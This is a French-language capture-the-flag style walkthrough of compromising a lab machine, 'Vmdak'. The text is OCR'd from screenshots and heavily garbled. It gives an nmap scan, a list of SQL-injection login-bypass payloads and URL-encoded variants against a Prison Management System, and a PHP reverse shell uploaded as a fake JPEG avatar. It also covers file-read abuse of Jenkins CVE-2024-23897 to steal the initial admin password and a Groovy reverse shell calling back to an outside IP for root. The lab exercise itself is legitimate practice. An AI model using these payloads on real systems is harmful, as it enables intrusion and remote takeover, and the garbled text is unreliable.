Linux - Vmdak :)

jeudi 10 juillet 2025 21:51

sudo nmap -sVC -p- 192.168.180.103 --open
[sudo] password for alice:

Starting Nmap 7.95 ( https://nmap.org ) at 2025-07-10 20:57 CEST
Nmap scan report for 192.168.180.103
Host is up (0.058s latency).

Not shown: 65531 closed tcp ports (reset)
PORT STATE SERVICE VERSION

21/tcp open ftp  vsftpd 3.0.5

| ftp-syst:

| STAT:

| FTP server status:

|  Connected to 192.168.45.215

| Loggedin as ftp

|  TYPE:ASCl

| No session bandwidth limit

|  Session timeout in seconds is 300

|  Control connection is plain text

|  Data connections will be plain text

|  Atsession startup, client count was 1

| vsFTPd 3.0.5 - secure, fast, stable

|_End of status

| ftp-anon: Anonymous FTP login allowed (FTP code 230)

|_-rw-r--r-- 10 0 1752 Sep 19 2024 config.xml

22/tcp open ssh  OpenSSH 9.6p1 Ubuntu 3ubuntul3.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:

| 256 76:18:f1:19:6b:29:db:da:3d:f6:7b:ab:f4:b5:63:e0 (ECDSA)

| _ 256 cb:d8:d6:ef:82:77:8a:25:32:08:dd:91:96:8d:ab:7d (ED25519)

80/tcp open http  Apache httpd 2.4.58 ((Ubuntu))

| _http-server-header: Apache/2.4.58 (Ubuntu)

| _http-title: Apache2 Ubuntu Default Page: It works

9443/tcp open ssl/http Apache httpd 2.4.58 ((Ubuntu))

| _http-server-header: Apache/2.4.58 (Ubuntu)

| _http-title: Home - Prison Management System

| _ssl-date: TLS randomness does not represent time

| tls-alpn:

|_ http/1.1

| ssl-cert: Subject:
commonName=vmdak.local/organizationName=PrisonManagement/stateOrProvinceName=Californ
ia/countryName=US

| Subject Alternative Name: DNS:vmdak.local

| Not valid before: 2024-08-20T09:21:33

| _Not valid after: 2025-08-20T09:21:33

Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 36.91 seconds
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/root/. jenkins/secrets,

l

On a acces a un panel admin.

Je dois surement faire une injection SQL.

d'abord j'ai testé le classique :

Admin'--//

Admin' OR 1=1--//

Mais ¢a ne fonctionnait pas. Puis j'ai trouvé qu'une CVE existait sur ce sujet :

https://github.com/projectdiscovery/nuclei-
templates/blob/main/http/cves/2024/CVE-2024-33288.yaml

je n'étais pas tres loin. Il fallait les encodés et mettre des + pour remplacer les espaces.

Q== = B2
Inspector - D £ =
Request Response E

Pretty Raw ! NP = Pretty Ray Render = | selection

gin.php HTTP/1.1
108. 9443 Selected text

2bc7so1

POST /Admin/
Host: 192.1
Cookie: PHP!

User-Agent: Mozilla/5.0 (X1l admin%27+0r+%271%27+%30%271
Gecko/20100101 Firefox/128.0
5 Accept:
text/htal,application/xhtml+xml,application/xml;g=0.9,image
avif,imag ng, image/s xml, */%:q=0.8 Decoded from:  URL encoding v

Accept -Language: en-US,en;q=0.5

Accept -Encoding: gz1i deflate, br

Referer: https://192,168,108,103:9443/Admin/login.php ,-,

Content-Type: application/x-www-form-urlencoded /

Content-Length: 70

Origin: https://192.168.108.103:9443

Ont: 1 Request attributes 2

Sec-Gpc: 1
4 Upgrade-Insecure-Requests: 1

admin' or '1l' ='1

Sec-Fe -Des oc t L Request query parameters
ec-Fetch-Dest 1 document ‘-K Prison Management system

Sec-Fetch-Mode: navigate -Q,V\

Sec-Fetch-Site: same-origin w Request body parameters
Sec-Fetch-User: 71

Priority: u=0, 1
o Te: trailers /

txtusername=adnink27+0r+%2
btnlogine=

Request cookies

ADMIN LOGIN FORM Request headers 20
ord=caca&

Response headers 10

Be

5 Q_\,\,\
emember Me m

txtusername=admin%27+0r+%271%27+%3D%271&txtpassword=caca&btnlogin=
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README MIT license

(o] 2t Gl

") or ("x")=("x

")) or (("x"))=(("x
or 1=1

or 1=1--

or 1=1#

or 1=1/*

admin' --

admin' #

admin'/*

admin' or '1'='1
admin' or '1'="'1"'--
admin' or '1'='1"'#
admin' or '1'='1'/*
admin'or 1=1 or ''='
admin' or 1=1

admin' or 1=1--
admin' or 1=1#
admin' or 1=1/*
admin') or ('1'="1
admin') or ('1'='1"'--
admin') or ('1'="'1'#
admin') or ('1'='1'/*
admin') or '1'="1
admin') '1'="1"--
admin') '1'='1'#

Kali Docs Kali Forums e\ Kali NetHunter Exploit-DB

Google Hacking DB

Encode to URL-encoded format

admin’ or '1'='1 < =t

O Toe es (like image nts, et e the file upload f tt ther down or age
UTF-8 v Destination character set
LF (Unix) v Destination newline separator.

Encode each line separately (useful for when you have multiple entries).
Spiit lines into 76 character wide chunks (useful for MIME).

@ Live mode OFF Encodes in real-time as you type or paste (supports only the UTF-8 character set).

P - elels IR AI Encodes your data into the area below.

e
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Follow redirection

Response
® @ v

i
S
D

Rer

Host: 192,168,108.103:9443

Cookie: PHPSESSID=n25¢ 2bc7soi6ngavnt Oobz
User-Agent: Mozilla/5.0 (X11: Linux xB86_64
rv:128.0} Gecko/20100101 Firefox/128.0

Accept:
text/html,application/xhtml+xml,application/xm
1:9=0.9,1mage/avif,1mage/webp, image/png, 1mage/
svgexml,*/*%;q=0.8

Accept-Language: en-US,en;g=0.5
Accept-Encoding: gzip, deflate, br

Referer:
https://192.168.108.103:9443/Adnin/login.php
Content -Type:
application/x-www-form-urlencoded

Content -Length: 52

Origin: https://192.168.108.103:9443

Dnt: 1

Sec-Gpc: 1

Upgrade-Insecure-Requests; 1

Sec-Fetch-Dest: document

Sec-Fetch-Mode: navigate

Sec-Fetch-Site: same-origin

Sec-Fetch-User: 71

Priority: u=0, 1

Te: trailers

won

txtusername=admin%27%200r%20%271%27%30% 2716
btnlogin=

Prison M

ADMIN LOGI



€ C @ O & 192.168.108.103

Kali Linux @ KaliTools ¢ Kali Docs Kali Forums X Kali NetHunter
= Home Search Q
DaSh boa rd Home / Dashboard

1 1
No. of Prisoner/Worker No. of Leave Application(s)/Bails

1 0

No. of Approved Leave/Bails No. of Declined Leave/Bail

@ Dashboard

Add User

Show 10 $ entries Search:
# Photo Username Password Fullname Phone Action
1 - admin adminl23 Caroline Bassey 0905656 Delete
(Y
Showing 1 to 1 of 1 entries Previous Next
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aroline

Show 10 # entries
Staff
# 1 Photo Name
Malcom

-

Showing 1 to 1 of 1 entries

RonnyCache001

Vu que je suis une idiote :

https://github.com/Aalb/mycve/blob/main/Readme.md

Request

Pre

ACCEPT -Language:. en-us,en;g=u.o

=]

34

a8 w

tty Raw Hex

Accept-Encoding: gzip, deflate, br
Referer: https://192,168.108.103:9443/Adnin/ed1t -photo. php
Content -Type: multipart/form-data
boundarys-«-«-cscemsmmanrnannanaaas 4277166561 39327631561 960627
222

Content -Length: 5741

Origin: https://192.168.108,103: 9443

Dnt: 1

Sec-Gpe: 1
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate

Sec-Fetch-Site: same-origin
Sec-Fetch-User: 71
Priority: u=0, 1

Te: trailers

----------------------------- 4277166561 39327631561 960627222
Content -Disposition: data; name="avatar”; filename="

.
rev ot €= O Chaaa
Content-Type: image/jpeg a‘L
<?php

// Copyright (c) 2020 Ivan Sincek

v2.6

/ Requires PHP vS.0.0 or greater.

/7 Works on Linux 0S, macOS, and Windows 05,

// See the original script at
https://github.com/pentestmonkey /php-reverse-shell,

class shell {

private $addr = null;
private §port = null:
private $os = null;
private $shell = null;
private §descriptorspec = array
0 == array('pipe', 'r'), // shell can read from STDIN
arrayl'pipe', 'w'l, // shell can write to STDOUT
2 == arrayl'pipe', 'w') an write to STDERR
1
private Sbuffer = 1024; // read/write buffer size
private $clen = O / command length
private §error = false; // stream read/write error
private §sdump = true; (/ script's dump

public function constructi(§addr, $port) {
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Leave Start End
D Date Date
2023399 2023-10-29 2023-11-15
Response
Pretty Raw Hex Render 8 r» =
1 HITP/1,1 200 0K
- Date: Fri, 11 Jul 2025 17:22:38 GMT
= Server: Apache/2.4,58 (Ubuntu)
4 Expires: Thu, 19 Nov 1981 08:52:00 GMT
5 Cache-Control: no-store, no-cache
nust-revalidate
Pragma: no-cache
refresh: 2;url= edit-photo.php
Vary: Accept-Encoding
) Content-Length: 10521
10 Keep-Alive: timeout=5, max=100
11 Connection: Keep-Alive
12 Content-Type: text/htal;: charset=UTF-8
14

<! DOCTYPE htal>
<html lang="en">
<head=
<meta charset="utf-8">
<meta name="viewport® content="
width=device-width,
initial-scale=1"=
<title=
Edit Profile - Prison
Management system
=/title=
<link rel="shortcut icon" href="
.. /image/logo.png" type="
image/x-icen" /=
-- Google Font:

Source Sans Pro

<l ink

rel="stylesheet" href="
f/fonts.googleapis m/css?f
urce+Sans+Pro: 300, 400, 4001

=!-- Font --=
<link rel="stylesheet" hre
plugins/fontawesome-free
ih.css">

<|-- Ionicons -->

<link rel="stylesheet" href="
https://code,ionicframework.com/io
nicens/2.0,1/css/ionicons.min.css"

s/all.m

=

- Tempusdominus Bootstrap 4 --=
IR

T T

Search:
Reason
Dont forget the password:
RonnyCache001

Status

Action

X Delete



https://github.com/Aa1b/mycve/blob/main/Readme.md

G https://192.168.108.103:9443/A t t w @

Kali Docs Kali Forums e\ Kali NetHunter Exploit-DB Google Hacking DB Off]

= h Q
Profile
Edit Profile Photo
Caroline e
Bassey
imi Browse... | No file select
user image
< Phone: 0905656

Save Changes

Avec linpeas et ftp j'ai vu qu'il y avait un fichier de conf pour jenkins.

Il'y a un port interne 8080 donc je vais le fowarder sur ma machine :

dakavmdak
vmdak dak
Llinpeas.sh
vmdakavmdak :

vmdakav

vmdakgvmdak
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KaliLinux g8 KaliTools # Kali Docs Kali Forums e Kali NetHunter Exploit-DB Google Hacking DB OffSec

Getting Started

Unlock Jenkins

not sure where to find it?

/root/.jenkins/secrets/initialAdminPassword

Administrator password

https://blog.trackflaw.com/compromettre-jenkins-lecture-fichiers-cve-2024-23897,
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When parsing a new argument, the Args4j library executes the "expandAtFiles()” method,

which treats any string after a “@" symbol as a file path.

e String[] expan iles(String args(]) thre CmdLineException {
List<String> result = v Arraylist<String>();
(String arg : args) {
(arg.startsWith( )
File file = new Filelarg.substring(1));
f (!file.exists())
w CmdLineException(this,Messages.N Ck E,file.getPath());
ry {
result.addAll(readAllLines(file));
} ca (I0Exception ex) {
CmdLineException(this, "Failed to parse “+file,ex);

{

result.add(arg);

result.t y String(result.size()]);

This results in Jenkins replacing the “@" character followed by a file path in an argument

with the actual file's contents (hence the name “expandAtFiles”(. The expandAtFiles()

n “a/root/.jenkins/secrets/initialAdminPassword

Onla!
140ef31373034d19a77baa9c6b84a200

On peut se connecter sur jenkins. D'ailleurs j'aurais pu juste récupérer le proof.txt.
Et je peux me créer un shell en root ducoup :

String host="192.168.45.215";

int port=8443;

String cmd="bash";

Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new
Socket(host,port);InputStream pi=p.getinputStream(),pe=p.getErrorStream(),
si=s.getinputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!
s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)
so.write(pe.read());while(si.available()>0)
po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception
e){}};p.destroy();s.close();
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Kali Linux @8 KaliTools = KaliDocs Kali Forums X Kali NetHunter Exploit-DB Google Hacking DB

Dashboard Manage Jenkins Script Console

Script Console

Type in an arbitrary Groovy script and execute it on the server, Useful for trouble-shooting and diagnostics. Use the ‘printlr
command to see the output (if you use System. out, it will go to the server's stdout, which is harder to see.) Example:

println(Jenkins.instance.pluginManager.plugins)

All the classes from all the plugins are visible. jenkins.*, jenkins.model.* hudson.*, and hudson.model. * are pre-
imported.

1 String host="192.168.45.215";

2 int port=8443;

3 String cmd="bash";

4 Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Sock

Et voila !!!!

Easy peasy
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